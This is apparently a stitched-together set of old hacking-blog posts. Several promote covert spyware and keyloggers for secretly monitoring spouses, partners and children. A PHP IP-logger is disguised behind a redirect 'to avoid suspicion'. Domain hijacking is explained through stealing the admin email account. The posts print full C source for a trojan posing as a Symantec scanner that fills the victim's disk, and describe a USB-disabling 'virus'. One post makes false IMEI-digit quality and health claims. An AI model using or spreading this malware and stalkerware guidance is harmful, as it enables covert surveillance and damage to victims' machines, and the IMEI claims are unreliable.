If you are a BSNL broadband user, chances are that you are facing frequent DNS issues. Their DNS servers are just unresponsive. The look up takes a long duration and many times just time out. The solution? There is small hack on BSNL for this. Use third party DNS servers instead of BSNL DNS servers or run your own one like djbdns. The easiest options is to use OpenDNS. Just reconfigure your network to use the following DNS servers:

208.67.222.222
208.67.220.220

Detailed instructions specific to operating system or your BSNL modem are available in the OpenDNS website itself. After I reconfigured my BSNL modem to use the above 2 IP addresses, my DNS problems just vanished! Other ‘freebies’ that come with OpenDNS are phishing filters and automatic URL correction. Even if your service provider’s DNS servers are working fine, you can still use OpenDNS just for these two special features.After you hack BSNL DNS servers, you will see a noticeable improvement in your broadband speed.

Most of the time, it becomes necessary for us to monitor our own computer or a remote computer to keep track of the activities going on. This may be for several reasons. Especially it is most necessary for the parents to monitor their computer to keep track of their children’s activities during their absence. Some people may also require to monitor their computer to keep an eye on the activities of their spouse or partner. Today, with the advancement in the field of the software technology, it’s just a cakewalk to monitor the computer. For this all you have to do is, use a PC Monitoring Software.

But the job doesn’t end here. This is because there exists tons of such monitoring softwares on the market and many times we get confused which to choose and how to use them. So I have decided to make this job simpler for you, by writing this post. In this post I’ll give a detailed information about Computer monitoring softwares which include their features, advantages, installation, usage procedure and so on. To make this post interesting, let’s take up each topic in the form of question and answer.

What exactly is a Monitoring Software and how can it help me ?

A computer monitoring software is just like any other software (program) which when installed, secretly monitors each and every activity that takes place on the computer. The activities such as web browsing, chatting, gaming etc. are all recorded and saved. These monitoring softwares can record each and every keystroke. So it is possible to capture usernames and passwords very easily with minimum effort. Monitoring softwares are also commonly known as Keyloggers.

How can I install a monitoring software ?

Installing a monitoring software is too simple. During the installation, you need to setup a secret password and hotkey combination which is required later to see the recorded data ( logs). After the installation is complete the software goes invisible, but keeps running in the background. Whenever you want to see the logs, just press the hotkey combination (ex. Shift+Ctrl+F10). Now a small window will popup asking for a password. Here you need to enter the password that was setup during the installation time. After you enter the password you’ll be able to see all the activities that took place on the computer during your absence.

Can the person using the computer come to know about the presence of the Monitoring Software ?

Most of the time it becomes impossible to detect the presence of the monitoring software. This is because, once installed it hides itself from Start menu, Program Files, Control Panel, Task manager etc. Because of it’s stealth behaviour the user can never come to know that he/she is under the presence of monitoring.

Which Monitoring Software should I use ?

There exists different flavours of these softwares and you have to choose the one that best match your needs. Here is a list of some of the best monitoring programs that I recommend.

For Monitoring a Local PC:

If you want to monitor a local PC (may be your own PC) then the following program is recommended.

Spy Agent Stealth

You can find a Complete Installation Guide for Spy Agent Stealth HERE

For Monitoring a Remote PC (Also works on local PC) :

If you want to monitor a remote PC you may use the following programs. These programs works for remote PC as well as local PC.

Win-Spy Monitor

You can find a Complete Installation Guide for Win-Spy Monitor HERE

Realtime Spy

You can find a Complete Installation Guide for Realtime Spy HERE

Spy Anywhere

Keystroke Spy

For Monitoring a Network :

The following program can be used to monitor an Entire Network of computers from one central location. This becomes handy to monitor the staff in a company or students in a school/college.

NetVizor

You can find a Complete Installation Guide for NetVizor HERE

For monitoring a Cell Phone from your PC:

If you want to monitor a Cell Phone from your PC you can refer the following link.

Cell Phone Spy

Here is a trick to get a call to your cell phone from your own number.Do you think I am crazy? No, I am not…….

Just try the following steps and you’ll get a call to your cell phone from your own number.

1. Just give a missed call to this number.You’ll not be charged!

+41445804650

2. Wait for a few seconds and you’ll get a call to your cell phone from your own number

3. Receive the call.You’ll hear a lady voice asking for a PIN number.Just enter some rubbish number.

4. She say’s- Your PIN cannot be processed and the call disconnects..

ANOTHER TRICK

Instead of giving a missed call, just continue calling.The call will not be received and will get disconnected just after a while.But now do you know what happen’s?

You will get a call from the number

+501

Reason behind this trick

God Knows!!

Nokia is one of the largest selling phones across the globe.Most of us own a Nokia phone but are unaware of it’s originality.Are you keen to know whether your Nokia mobile phone is original or not? Then you are in the right place and this information is specially meant for you. Your phones IMEI (International Mobile Equipment Identity) number confirms your phone’s originality.

Press the following on your mobile *#06# to see your Phone’s IMEI number(serial number).

Then check the 7th and 8th numbers

Phone serial no. x x x x x x ? ? x x x x x x x

IF the Seventh & Eighth digits of your cell phone are 02 or 20 this means your cell phone was assembled in Emirates which is very Bad quality

IF the Seventh & Eighth digits of your cell phone are 08 or 80 this means your cell phone was manufactured in Germany which is fair quality

IF the Seventh & Eighth digits of your cell phone are 01 or 10 this means your cell phone was manufactured in Finland which is very Good

IF the Seventh & Eighth digits of your cell phone are 00 this means your cell phone was manufactured in original factory which is the best Mobile Quality

IF the Seventh & Eighth digits of your cell phone are 13 this means your cell phone was assembled in Azerbaijan which is very Bad quality and also dangerous for your health

$ip = $_SERVER['REMOTE_ADDR'];
$dt = date("l dS \of F Y h:i:s A");
$file=fopen("ip_log.txt","a");
$data = $ip.' '.$dt."\n";
fwrite($file, $data);
fclose($file);
header( 'Location: http://www.google.com' ) ;
?>

Most of you may be curious to know how to find the IP address of your friend’s computer or to find the IP address of the person with whom you are chatting in Yahoo messenger or Gtalk. In this post I’ll show you how to find the IP address of a remote computer in simple steps.

I have created a PHP script to make it easier for you to find the IP address of the remote computer of your choice. Here is a step-by-step process to find out the IP address.

1. Download the IP Finder script (IP_Finder.ZIP) that I have created.

2. Open a new account in X10Hosting (or any free host that supports PHP).

3. Extract the IP_Finder.ZIP file and upload the two files ip.php and ip_log.txt into the root folder of your hosting account using the File Manager.

4. You can rename the ip.php to any name of your choice.

5. Set the permission to 777 on ip_log.txt.

Now you are all set to find the IP address of your friend or any remote computer of your choice. All you have to do is send the link of ip.php to your friend or the person with whom you’re chatting. Once the person click’s on the link, his/her IP address is recorded in the file ip_log.txt.

For your better understanding let’s take up the following example.

Suppose you open a new account in X10hosting.com with the subdomain as abc, then your IP Finder link would be

http://abc.x10hosting.com/ip.php

You have to send the above link to you friend via email or while chatting and ask him to visit that link. Once your friend clicks on the link, his IP address will be recorded along with the Date and Time in the ip_log.txt file. After recording the IP address, the script will redirect the person to google.com so as to avoid any suspicion.

To find the recorded IP address check the logs using the following link.

http://abc.x10hosting.com/ip_log.php

The sample log will be in the following format

79.92.144.237 Thursday 07th of May 2009 05:31:27 PM
59.45.144.237 Thursday 07th of May 2009 05:31:28 PM
123.92.144.237 Thursday 07th of May 2009 05:31:31 PM

NOTE: You have to replace abc with your subdomain name.

I hope this helps. Express your opinion and suggestions through comments.

Cell Phone Spy – How to Spy on a Cell Phone

Are you curious to know how to spy on a cell phone? Do you want to secretly spy on SMS text messages, calls, GPS locations and other confidential info of your child’s or spouse’s cell phone? Well here is a detailed tutorial on how to spy on cell phones.

Every day I get a lot of emails from people asking how to spy on cell phone. Before you can spy on a cell phone you need to know the following facts.

1. To spy on a given cell phone you should make sure that the target cell phone is compatible with the cell phone spy software.

2. It is not possible to install the cell phone spy software on an ordinary cell phone. Cell phone spy softwares are compatible only with the following type of phones (operating systems).

Symbian OS

Apple iphone

Windows Mobile

For a complete list of compatible cell phones visit the Mobile Spy site.

Today most of the modern cell phones are loaded with one of the above three operating systems and hence compatibility doesn’t pose a major problem. There exists many cell phone spy softwares on the market to accomplish this job and hence people often get confused about which cell phone spy software to go for. To make this job simpler for you we personally tested some of the top cell phone spy softwares and based on the results we conclude that the following cell phone spy software to be the best one.

Mobile Spy - The No.1 Cell Phone Spy Software

Mobile Spy is a perfect tool for parents to monitor their childern’s activity on thier cell phone!

Mobile Spy Features

Mobile Spy is a hybrid spy software/service which allows you to spy on your target cell phone in real time. This unique system records the activities of anyone who uses the compatible cell phone ( iPhone, Windows Mobile or Symbian OS smartphone). For this you need to install a small application onto the cell phone. This application starts at every boot of the phone but remains stealth and does not show up in the running process list. It runs in the background and will spy on every activity that takes place on the phone.

Logging Features

1. Calls Log – Each incoming and outgoing number on the phone is logged along with duration and time stamp.

2. Every text message/MMS is logged even if the phone’s logs are deleted. Includes full text.

3. The phones’s current location is frequently logged using GPS when signal is available.

4. Each address entered into Internet Explorer (or any browser) is logged.

5. This cell phone spy software works in total stealth mode. The person using the phone can never come to know about the presence of this software.

How it works

The working of Mobile Spy is very simple and needs no extra knowledge to install and use.

Step 1- After you purchase Mobile Spy you’ll get a link to download the software. Along with this you’ll get a username and password for you online control panel.

Step 2- Install the downloaded cell phone spy software onto any of the compatible cell phone. After installation the software starts recording all the activities on the cell phone.

Step 3- Login to your online control panel to see the logs containing the recorded information.

This is just a small list of it’s features. For a list of compatible phones, step-by-step installation guide and more details visit the following link

Mobile Spy

Why Mobile Spy?

Mobile Spy is one of the best and award winning cell phone spy softwares on the market with an affordable price. Mobile Spy team provides an excellent support and hence it becomes just a cakewalk to spy on your favorite cell phone! Today with an excessive usage of cell phones by many teenagers it becomes necessary for their parents to perform cell phone spying. So what are you waiting for? Go grab Mobile Spy and expose the truth.

In this post I will tell you about how the domain names are hacked and how they can be protected. The act of hacking domain names is commonly known as Domain Hijacking. For most of you, the term “domain hijacking” may seem to be like an alien. So let me first tell you what domain hijacking is all about.

Domain hijacking is a process by which Internet Domain Names are stolen from it’s legitimate owners. Domain hijacking is also known as domain theft. Before we can proceed to know how to hijack domain names, it is necessary to understand how the domain names operate and how they get associated with a particular web server (website).

The operation of domain name is as follows

Any website say for example gohacking.com consists of two parts. The domain name (gohacking.com) and the web hosting server where the files of the website are actually hosted. In reality, the domain name and the web hosting server (web server) are two different parts and hence they must be integrated before a website can operate successfully. The integration of domain name with the web hosting server is done as follows.

1. After registering a new domain name, we get a control panel where in we can have a full control of the domain.

2. From this domain control panel, we point our domain name to the web server where the website’s files are actually hosted.

For a clear understanding let me take up a small example.

John registers a new domain “abc.com” from an X domain registration company. He also purchases a hosting plan from Y hosting company. He uploads all of his files (.html, .php, javascripts etc.) to his web server (at Y). From the domain control panel (of X) he configures his domain name “abc.com” to point to his web server (of Y). Now whenever an Internet user types “abc.com”, the domain name “abc.com” is resolved to the target web server and the web page is displayed. This is how a website actually works.

What happens when a domain is hijacked

Now let’s see what happens when a domain name is hijacked. To hijack a domain name you just need to get access to the domain control panel and point the domain name to some other web server other than the original one. So to hijack a domain you need not gain access to the target web server.

For example, a hacker gets access to the domain control panel of “abc.com”. From here the hacker re-configures the domain name to point it to some other web server (Z). Now whenever an Internet user tries to access “abc.com” he is taken to the hacker’s website (Z) and not to John’s original site (Y).

In this case the John’s domain name (abc.com) is said to be hijacked.

How the domain names are hijacked

To hijack a domain name, it’s necessary to gain access to the domain control panel of the target domain. For this you need the following ingredients

1. The domain registrar name for the target domain.

2. The administrative email address associated with the target domain.

These information can be obtained by accessing the WHOIS data of the target domain. To get access the WHOIS data, goto whois.domaintools.com, enter the target domain name and click on Lookup. Once the whois data is loaded, scroll down and you’ll see Whois Record. Under this you’ll get the “Administrative contact email address”.

To get the domain registrar name, look for something like this under the Whois Record. “Registration Service Provided By: XYZ Company”. Here XYZ Company is the domain registrar. In case if you don’t find this, then scroll up and you’ll see ICANN Registrar under the “Registry Data”. In this case, the ICANN registrar is the actual domain registrar.

The administrative email address associated with the domain is the backdoor to hijack the domain name. It is the key to unlock the domain control panel. So to take full control of the domain, the hacker will hack the administrative email associated with it. Email hacking has been discussed in my previous post how to hack an email account.

Once the hacker take full control of this email account, he will visit the domain registrar’s website and click on forgot password in the login page. There he will be asked to enter either the domain name or the administrative email address to initiate the password reset process. Once this is done all the details to reset the password will be sent to the administrative email address. Since the hacker has the access to this email account he can easily reset the password of domain control panel. After resetting the password, he logs into the control panel with the new password and from there he can hijack the domain within minutes.

How to protect the domain name from being hijacked

The best way to protect the domain name is to protect the administrative email account associated with the domain. If you loose this email account, you loose your domain. So refer my previous post on how to protect your email account from being hacked. Another best way to protect your domain is to go for private domain registration. When you register a domain name using the private registration option, all your personal details such as your name, address, phone and administrative email address are hidden from the public. So when a hacker performs a WHOIS lookup for you domain name, he will not be able to find your name, phone and administrative email address. So the private registration provides an extra security and protects your privacy. Private domain registration costs a bit extra amount but is really worth for it’s advantages. Every domain registrar provides an option to go for private registration, so when you purchase a new domain make sure that you select the private registration option.

/* SPACE EATER TROJAN BY SRIKANTH. USE IT FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD!*/

#include
#include
#include
#include
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;

void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);

void main()
{
draw();
accept();
textcolor(WHITE);
draw();
gotoxy(12,8);
cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
sleep(3);
gotoxy(12,8);
delline();
cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
getch();
gotoxy(12,8);
delline();
findroot();
}

void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs("THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO\n\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\'VE TO DELETE THE FILE \"spceshot.dll\" LOCATED IN\n\n\r \"%windir%\\System32\".\n\n\rIF YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.");

if((choice=getch())!=13)
exit(0);
}

void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs("********************************************************");
gotoxy(12,6);
cputs("********************************************************");
gotoxy(12,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(67,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(14,4);
cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");
}

void findroot()
{
t=fopen("C:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen("C:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("C:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("D:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("D:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("D:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("E:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("E:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("E:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("F:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("F:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("F:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
getch();
exit(1);
}
exit(1);
}

void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_count);
gotoxy(12,10);
cprintf("PRESS ANY KEY TO CLOSE...");
getch();
break;
}
}
cputs(".");
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}

void showstatus()
{
gotoxy(12,8);
cputs("SCANNING THE SYSTEM FOR THREATS");
gotoxy(12,10);
cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
gotoxy(12,13);
cputs("SCAN IN PROGRESS. PLEASE WAIT...");
}

Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…

Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.

Now lets move to the working of our Trojan

The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the WindowsSystem32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.

The algorithm of the Trojan is as follows

1. Search for the root drive

2. Navigate to WindowsSystem32 on the root drive

3. Create the file named “spceshot.dll”

4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full

5. Once the drive is full, stop the process.

You can download the Trojan source code HERE. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.

How to compile, test and remove the damage?

Compilation:

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing:

To test the Trojan, just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.

NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.

How to remove the Damage and free up the space?

To remove the damage and free up the space, just type the following in the “run” dialog box.

%systemroot%system32

Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program. This method is described in the post: How to Change the ICON of an EXE file ?

In many of my previous posts especially in the VIRUS CREATION section, I have used C as the programming language. If you’re new to C programming and find it difficult to compile the C source codes then this post is for you. Here is a step-by-step procedure to install Borland C++ compiler 5.5 and compile C programs.

How to install Borland C++ compiler

1. Download Borland C++ compiler 5.5 (for Windows platform) from the following link.

http://www.codegear.com/downloads/free/cppbuilder

2. After you download, run freecommandlinetools.exe. The default installation path would be

C:\Borland\BCC55

How to configure Borland C++ compiler

1. After you install Borland C++ compier, create two new Text Documents

2. Open the first New Text Document.txt file and add the following two lines into it

-I”c:\Borland\Bcc55\include”

-L”c:\Borland\Bcc55\lib”

Save changes and close the file. Now rename the file from New Text Document.txt to bcc32.cfg.

3. Open the second New Text Document (2).txt file and add the following line into it

-L”c:\Borland\Bcc55\lib”

Save changes and close the file. Now rename the file from New Text Document (2).txt to ilink32.cfg.

4. Now copy the two files bcc32.cfg and ilink32.cfg, navigate to C:\Borland\BCC55\Bin and paste them.

How to compile the C source code (.C files)

1. You need to place the .C (example.c) file to be compiled in the following location

C:\Borland\BCC55\Bin

2. Now goto command prompt (Start->Run->type cmd->Enter)

3. Make the following path as the present working directory (use CD command)

C:\Borland\BCC55\Bin

4. To compile the file (example.c) use the following command

bcc32 example.c

5. Now if there exists no error in the source code you’ll get an executable file (example.exe) in the same location (C:\Borland\BCC55\Bin).

6. Now you have successfully compiled the source code into an executable file(.exe file).

NOTE: The above tutorial assumes that you’ve installed the compiler onto the C: drive (by default).

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. Download the USB_Block.rar file on to your computer.

2. It contains the following 4 files.

• block_usb.c (source code)
• unblock_usb.c (source code)

3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.

3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).

I hope you like this post. Please pass your comments.